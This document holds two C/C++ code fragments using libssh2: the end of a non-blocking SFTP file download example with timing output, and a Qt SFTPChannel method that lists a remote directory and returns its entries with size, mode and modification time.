*/ } } } while (!sftp_handle); fprintf(stderr, "libssh2_sftp_open() is done, now receive data!\n"); do { char mem[1024*24]; /* loop until we fail */ while ((rc = libssh2_sftp_read(sftp_handle, mem, sizeof(mem))) == LIBSSH2_ERROR_EAGAIN) { spin++; waitsocket(sock, session); /* now we wait */ } if (rc > 0) { total += rc; write(1, mem, rc); } else { break; } } while (1); gettimeofday(&end, NULL); time_ms = tvdiff(end, start); printf("Got %d bytes in %ld ms = %.1f bytes/sec spin: %d\n", total, time_ms, total/(time_ms/1000.0), spin ); libssh2_sftp_close(sftp_handle); libssh2_sftp_shutdown(sftp_session); shutdown: printf("libssh2_session_disconnect\n"); while (libssh2_session_disconnect(session, "Normal Shutdown, Thank you") == LIBSSH2_ERROR_EAGAIN); libssh2_session_free(session); #ifdef WIN32 closesocket(sock); #else close(sock); #endif fprintf(stderr, "all done\n"); libssh2_exit(); return 0; }
bool SFTPChannel::updateLs() { int rc; if (mRequestState == Beginning) { mOperationHandle = libssh2_sftp_opendir(mHandle, mCurrentRequest->getPath().toUtf8()); if (mOperationHandle) mRequestState = Reading; else if ((rc = libssh2_session_last_errno(mSession->sessionHandle())) == LIBSSH2_ERROR_EAGAIN) return true; // try again else { criticalError(tr("Failed to open remote directory for reading: %1").arg(rc)); return false; } mResult.clear(); } if (mRequestState == Reading) { char buffer[1024]; LIBSSH2_SFTP_ATTRIBUTES attrs; rc = libssh2_sftp_readdir(mOperationHandle, buffer, sizeof(buffer), &attrs); if (rc == LIBSSH2_ERROR_EAGAIN) return true; // Try again else if (rc == 0) mRequestState = Finishing; else if (rc < 0) { criticalError(tr("Error while reading remote directory: %1").arg(rc)); return false; } else // Got a directory entry { // Skip hidden entries iff request says to if (mCurrentRequest->getIncludeHidden() || buffer[0] != '.') { // Can't determine if remote file is readable/writable, so report all as so. QString flags = "rw"; if (LIBSSH2_SFTP_S_ISDIR(attrs.permissions)) flags += 'd'; QVariantMap details; details.insert("f", flags); details.insert("s", attrs.filesize); details.insert("m", (qulonglong)attrs.mtime); mResult.insert(buffer, details); } } } if (mRequestState == Finishing) { rc = libssh2_sftp_closedir(mOperationHandle); if (rc == LIBSSH2_ERROR_EAGAIN) return true; else if (rc < 0) { criticalError(tr("Failed to cleanly close SFTP directory: %1").arg(rc)); return false; } // Success! Send a response and finish up. QVariantMap finalResult; finalResult.insert("entries", mResult); mCurrentRequest->triggerSuccess(finalResult); return false; } return true; }